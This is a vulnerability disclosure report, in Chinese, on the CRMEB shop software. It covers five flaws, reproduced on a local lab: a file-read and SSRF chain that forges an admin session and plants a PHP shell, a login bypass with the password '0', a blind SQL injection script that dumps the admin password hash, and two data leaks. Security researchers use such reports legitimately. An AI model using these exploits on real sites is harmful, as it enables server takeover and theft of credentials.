CRMEB 漏洞报告
软件名称:CRMEB
开发者或厂商:crmeb
代码仓库:https://github.com/crmeb/CRMEB
1. 未授权任意文件读和 SSRF
| 简要描述: | image_to_base64 函数存在未授权任意文件读和 SSRF 漏洞。进一步地,若站点启用 redis 缓存,则攻击者可经 gopher 协议往 redis 写入一条缓存,伪造后台超级管理员会话,随后在后台写入 PHP 文件 getshell。 |
|---|---|
| 影响版本: | 5.2.0 ~ 6.0.0 |
| 漏洞引入: | crmeb commit 4f66fdff |
| 前置条件: | 无。 |
漏洞成因
SSRF 入口是一处未授权的图片转 base64 接口,它把用户提交的 URL 原样交给 libcurl:
# app/common.php:575 commit 7aee4228c6
curl_setopt($curl, CURLOPT_URL, $avatar);
CURLOPT_URL 未做协议白名单。PHP 7.4 的 libcurl 支持 gopher://,服务器可连接任意 TCP 端口,并发送攻击者构造的字节流。
函数内另有一处本地读取分支,可实现任意文件读:
# app/common.php:559 commit 4f66fdff4f
if ($url['scheme'] . '://' . $url['host'] == sys_config('site_url')) {
$imgData = preg_replace($pattern, '', file_get_contents(public_path() . substr($url['path'], 1)));
substr($url['path'], 1) 未做路径校验,/../.env 拼成 public/../.env,可读出站点根目录的 .env。该文件同时给出 JWT 签名密钥、redis 前缀与口令:
APP_KEY = crmeb
CACHE_PREFIX = cache_...
REDIS_HOSTNAME = ...
REDIS_PASSWORD = ...
有了口令,gopher 就能对 redis 执行 AUTH 与 SET。
攻击者可以自造一个 token 并使服务端接受,这由两处判断决定。
第一处是 pwd 声明。后台解析 token 时单独判断了该字段:
# app/services/system/admin/AdminAuthServices.php:89 commit ac1681888a
if ($pwd !== '' && $pwd !== md5($adminInfo->pwd)) {
throw new AuthException($msg, [], 401);
}
JwtAuth::parseToken 用 $payload->pwd ?? '' 取值,JWT 不含 pwd 时得到空串,上述判断整体跳过。
第二处是 token 缓存。解析 token 前要求缓存中存在对应键:
# app/services/system/admin/AdminAuthServices.php:63 commit ac1681888a
if (!$cacheService->has($md5Token) || !$cacheService->get($md5Token, '', NULL, 'admin')) {
CacheService::get 的签名只接收两个参数:
# crmeb/services/CacheService.php:77 commit e69b0bf39e
public static function get(string $name, string $default = '')
{
return Cache::get($name) ?? $default;
}
调用方多传的 NULL 与 'admin' 被 PHP 丢弃。这次校验的实际含义是,redis 中存在名为 md5(token) 的键且其值非空。缓存所属的 tag 与 token 的 type 都不参与判断,于是后台、客服、对外接口、会员四套 token 共用一套键空间。
把自造 token 的 md5(token) 经 gopher 写进该键空间,再用它访问后台即可。jti.id 取安装脚本创建的第一个管理员,即 id=1 的超级管理员。
pwd 跳过与缓存键不区分 tag 这两处缺陷分别在 4.6.0 与 4.7.0 出现,image_to_base64 的 gopher 通道与本地读取从 5.2.0 起可用,因此整条链路从 5.2.0 起成立。
复现环境搭建
用官方仓库自带的 compose 文件启动环境:
cd CRMEB/help/docker
docker compose -p crmeb up -d
打开 http://127.0.0.1:8011/install/index.php 走安装向导。数据库地址填 crmeb_mysql,redis 地址填 crmeb_redis,口令均为 123456,缓存类型选 redis,管理员账号设为 admin / Admin@12345。
复现过程
先用未授权接口读出 .env:
curl -s -X POST http://127.0.0.1:8011/api/image_base64 \
-H 'Host: 127.0.0.1' \
--data-urlencode 'image=http://127.0.0.1/../.env'
响应中 data.image 为 .env 的 base64:
APP_DEBUG = false
[APP]
DEFAULT_TIMEZONE = Asia/Shanghai
APP_KEY = crmeb
[DATABASE]
TYPE = mysql
HOSTNAME = crmeb_mysql
HOSTPORT = 3306
USERNAME = crmeb
PASSWORD = 123456
DATABASE = crmeb
PREFIX = eb_
CHARSET = utf8mb4
DEBUG = true
[CACHE]
DRIVER = redis
CACHE_PREFIX = cache_6af59d9589a25:
CACHE_TAG_PREFIX = cache_tag_6af59d9589a25:
[REDIS]
REDIS_HOSTNAME = crmeb_redis
PORT = 6379
REDIS_PASSWORD = 123456
SELECT = 0
[QUEUE]
QUEUE_NAME = 6af59d9589a25
用其中三项配置完成整条链:APP_KEY 签 token,REDIS_PASSWORD 与 CACHE_PREFIX 经 gopher 写缓存,随后以该 token 上传主题包并触发导入:
import base64
import hashlib
import hmac
import io
import json
import re
import time
import urllib.parse
import zipfile
import httpx
BASE = "http://127.0.0.1:8011"
SITE = "127.0.0.1"
def env_from_target():
r = httpx.post(BASE + "/api/image_base64", headers={"Host": SITE},
data={"image": "http://%s/../.env" % SITE}, timeout=30)
data = r.json()["data"]["image"]
return base64.b64decode(data.split(",", 1)[1]).decode()
env = env_from_target()
cfg = dict(re.findall(r"(\w+)\s*=\s*([^\r\n]*)", env))
cfg = {k: v.strip() for k, v in cfg.items()}
print("APP_KEY :", cfg["APP_KEY"])
print("CACHE_PREFIX :", cfg["CACHE_PREFIX"])
print("REDIS_HOSTNAME :", cfg["REDIS_HOSTNAME"])
print("REDIS_PASSWORD :", cfg["REDIS_PASSWORD"])
def b64(obj):
return base64.urlsafe_b64encode(
json.dumps(obj, separators=(",", ":")).encode()).decode().rstrip("=")
def resp(*parts):
out = "*%d\r\n" % len(parts)
for part in parts:
out += "$%d\r\n%s\r\n" % (len(part), part)
return out
now = int(time.time())
payload = {"iss": SITE, "aud": SITE, "iat": now, "nbf": now, "exp": now + 2592000,
"jti": {"id": 1, "type": "admin"}}
head, body = b64({"typ": "JWT", "alg": "HS256"}), b64(payload)
sig = base64.urlsafe_b64encode(
hmac.new(cfg["APP_KEY"].encode(), (head + "." + body).encode(),
hashlib.sha256).digest()).decode().rstrip("=")
token = head + "." + body + "." + sig
print("forged token :", token)
value = 'a:4:{s:3:"uid";i:1;s:4:"type";s:5:"admin";s:5:"token";s:%d:"%s";s:3:"exp";i:2592060;}' % (
len(token), token)
url = "gopher://" + cfg["REDIS_HOSTNAME"] + ":6379/_" + urllib.parse.quote(
resp("AUTH", cfg["REDIS_PASSWORD"])
+ resp("SET", cfg["CACHE_PREFIX"] + hashlib.md5(token.encode()).hexdigest(), value), safe="%")
try:
httpx.post(BASE + "/api/image_base64", headers={"Host": cfg["REDIS_HOSTNAME"]},
data={"image": url}, timeout=15)
except httpx.ReadTimeout:
print("gopher write finished")
HEADERS = {"Authori-zation": "Bearer " + token}
r = httpx.get(BASE + "/adminapi/system/info", headers=HEADERS, timeout=30)
print("adminapi status :", r.status_code, r.text[:120])
buffer = io.BytesIO()
with zipfile.ZipFile(buffer, "w") as archive:
archive.writestr("config.json", '{"title":"t","info":"i"}')
archive.writestr("shell.php", '<?php echo "THEME-".get_current_user(); ?>')
buffer.seek(0)
upload = httpx.post(BASE + "/adminapi/file/upload",
files={"file": ("t.zip", buffer, "application/zip")},
data={"pid": "0", "type": "0"}, headers=HEADERS, timeout=60)
httpx.post(BASE + "/adminapi/theme/import",
data={"url": upload.json()["data"]["src"]}, headers=HEADERS, timeout=60)
print("shell :", httpx.get(BASE + "/theme/import/shell.php", timeout=20).text)
脚本输出如下:
APP_KEY : crmeb
CACHE_PREFIX : cache_6af59d9589a25:
REDIS_HOSTNAME : crmeb_redis
REDIS_PASSWORD : 123456
forged token : eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiIxMjcuMC4wLjEiLCJhdWQiOiIxMjcuMC4wLjEiLCJpYXQiOjE3OTQ1MzE1ODQsIm5iZiI6MTc5NDUzMTU4NCwiZXhwIjoxNzk3MTIzNTg0LCJqdGkiOnsiaWQiOjEsInR5cGUiOiJhZG1pbiJ9fQ.ly5qhYJJU3NB58PfnCgzl6WFHdvXb_NZimOJ3IThCxo
gopher write finished
adminapi status : 200 {"status":200,"msg":"success","data":{"server":[{"name":"服务器系统","require":"类UNIX","value":"Linux"},{"name":"WEB环境","require":"Apache/Nginx/IIS","value":"nginx"}
shell : THEME-www-data
把所获 token 写入浏览器 localStorage 的 token 键后打开后台首页,顶部显示已登录的 admin:

注:redis 不主动关闭连接,gopher 请求会一直占据一个 php-fpm 子进程。
docker restart crmeb_php即可清理。
2. 客服登录接口空口令绕过
| 简要描述: | 攻击者不需要口令,即可登录客服后台。后台可修改订单价格、把订单退款到会员余额、读取收货人信息等。 |
|---|---|
| 影响版本: | 4.4.2 ~ 6.0.0 |
| 漏洞引入: | crmeb commit 9e8bd7f8 |
| 前置条件: | 攻击者知道一个客服账号名(默认部署自带 13000000000 账号)。 |
漏洞成因
客服登录对密码的判断没有覆盖空值:
# app/services/kefu/LoginServices.php:55 commit 9e8bd7f814
if ($password && !password_verify($password, $kefuInfo->password)) {
throw new AuthException('账号或密码错误');
}
条件的第一项是 $password 的真值判断。字符串 "0" 在 PHP 中为假,密码校验被整段跳过。
复现环境搭建
与第 1 节相同。安装数据里已有账号为 13000000000 的客服记录。
复现过程
用浏览器打开 http://127.0.0.1:8011/kefu/,账号填 13000000000,密码填 0,点击登录后进入客服工作台:

3. 门店列表接口 SQL 时间盲注
| 简要描述: | /api/store_list 接口存在 SQL 时间盲注漏洞。 |
|---|---|
| 影响版本: | 4.4.2 ~ 6.0.0 |
| 漏洞引入: | crmeb commit 9e8bd7f8 |
| 前置条件: | 站点存在至少一个已上架门店。 |
漏洞成因
距离计算把经纬度直接拼进查询字段表达式:
# app/dao/system/store/SystemStoreDao.php:40-42 commit 9e8bd7f814
public function distance(string $latitude, string $longitude)
{
return "(round(6367000 * 2 * asin(sqrt(pow(sin(((latitude * pi()) / 180 - ({$latitude} * pi()) / 180) / 2), 2) + cos(({$latitude} * pi()) / 180) * cos((latitude * pi()) / 180) * pow(sin(((longitude * pi()) / 180 - ({$longitude} * pi()) / 180) / 2), 2))))) AS distance";
入口在未授权组:
# app/api/route/v1.php:493
Route::get('store_list', 'v1.PublicController/store_list')->name('storeList')->option(['real_name' => '门店列表']);
注:站点自带的参数过滤 waf 对这个参数不生效。控制器按下标取参,
latitude落在整数键0上,而过滤函数的跳过判断比的是字符串键名,PHP 7.x 的松散比较下整数0与白名单里任一字符串相等,该值于是完全不经过过滤。把同样的 payload 放进longitude则会被正常过滤。
复现环境搭建
与第 1 节相同,另插入一个门店:
docker exec -i crmeb_mysql mysql -ucrmeb -p123456 crmeb <<'SQL'
INSERT INTO eb_system_store (name,phone,address,detailed_address,image,latitude,longitude,is_del,is_show,add_time)
VALUES ('Demo Store','010-00000000','Beijing','Chaoyang',0,39.9042,116.4074,0,1,UNIX_TIMESTAMP());
SQL
复现过程
time curl -s 'http://127.0.0.1:8011/api/store_list?latitude=1)and(sleep(3.5))and(1&longitude=1' -o /dev/null
真实条件耗时 7.17 秒,假条件耗时 0.16 秒。该表达式在 SELECT 字段里被求值两次,所以实际等待约为 sleep 的两倍。
换成带判断的形式,即可形成布尔 oracle:
import time
import httpx
BASE = "http://127.0.0.1:8011"
def oracle(condition):
query = "1)and(if(%s,sleep(2),0))and(1" % condition
start = time.time()
httpx.get(BASE + "/api/store_list",
params={"latitude": query, "longitude": "1"}, timeout=60)
return time.time() - start > 3
print("1=1 ->", oracle("1=1"))
print("1=2 ->", oracle("1=2"))
输出:
1=1 -> True
1=2 -> False
用这个 oracle 按二分法逐位读出管理员账号与密码哈希:
import time
import httpx
BASE = "http://127.0.0.1:8011"
def oracle(condition):
query = "1)and(if((%s),sleep(1),0))and(1" % condition
start = time.time()
httpx.get(BASE + "/api/store_list",
params={"latitude": query, "longitude": "1"}, timeout=60)
return time.time() - start > 1.6
def length_of(expression):
size = 0
for i in range(1, 91):
if oracle("length((%s))>=%d" % (expression, i)):
size = i
else:
break
return size
def char_at(expression, position):
low, high = 32, 126
while low < high:
middle = (low + high + 1) // 2
if oracle("ascii(substr((%s),%d,1))>=%d" % (expression, position, middle)):
low = middle
else:
high = middle - 1
return chr(low)
def dump(expression):
return "".join(char_at(expression, p)
for p in range(1, length_of(expression) + 1))
print("account:", dump("select account from eb_system_admin limit 1"))
print("pwd:", dump("select pwd from eb_system_admin limit 1"))
输出:
account: admin
pwd: $2y$10$mmYFsXJxaz6SBeug3vJf6O6GIHnuy1.QMKv2gDoM2tAcDTR3tU2Oe
4. 未授权读取商品成本价与后台字段
| 简要描述: | 攻击者不需要账号,即可读取商品的成本价、货源链接、条形码等后台字段。 |
|---|---|
| 影响版本: | 6.0.0 |
| 漏洞引入: | crmeb commit e9d6c467 |
| 前置条件: | 站点存在商品。 |
漏洞成因
数据层直接返回整表列:
# app/dao/product/product/StoreProductDao.php:380-395 commit e9d6c4675d
public function getThemeProduct($where, $order, $limit)
{
$model = $this->getModel()->with('cateName')->where('is_del', 0)->where('is_show', 1);
返回前未做字段白名单,cost、soure_link、spu 等后台字段一并输出。前台商品接口有显式字段白名单,因此不包含这些列。
复现环境搭建
与第 1 节相同。
复现过程
curl -s 'http://127.0.0.1:8011/api/theme/product?limit=1'
响应中该商品字段为:
"store_name":"Apple/苹果iPad mini6 8.3英寸平板电脑 64G-WLAN版 深空灰色"
"price":"3999.00"
"cost":"3299.00"
"ot_price":"4799.00"
"spu":"9748975626070"
"give_integral":1000
cost 即进货成本,前台接口 /api/products 不返回该字段。
5. 未授权读取快递商月结账号与密码
| 简要描述: | 攻击者不需要账号,即可读取后台配置的快递商月结账号与密码。 |
|---|---|
| 影响版本: | 4.4.2 ~ 6.0.0 |
| 漏洞引入: | crmeb commit 9e8bd7f8 |
| 前置条件: | 后台已为快递商填写月结账号。 |
漏洞成因
快递商列表的查询字段包含月结账号与密码:
# app/services/shipping/ExpressServices.php:183-187 commit 9e8bd7f814
public function expressList($where = [])
{
if (empty($where)) $where = ['is_show' => 1];
return $this->dao->getExpressList($where, 'id,name,code,partner_id,partner_key,net,account,key,net_name', 0, 0);
}
该函数被未授权路由直接调用:
# app/api/route/v1.php:477
Route::get('logistics', 'v1.PublicController/logistics')->name('logistics')->option(['real_name' => '物流公司列表']);//物流公司列表
复现环境搭建
与第 1 节相同。
复现过程
curl -s 'http://127.0.0.1:8011/api/logistics'
响应如下:
{"status":200,"msg":"success","data":[{"id":1,"name":"韵达快递","code":"yunda","partner_id":1,"partner_key":1,"net":0,"account":"","key":"","net_name":""},{"id":2,"name":"顺丰速运","code":"shunfeng","partner_id":1,"partner_key":0,"net":0,"account":"","key":"","net_name":""},...]}
每一项都带有 account、key、net_name 三个字段。安装数据中这三项为空,后台为快递商填写月结账号后即被读出。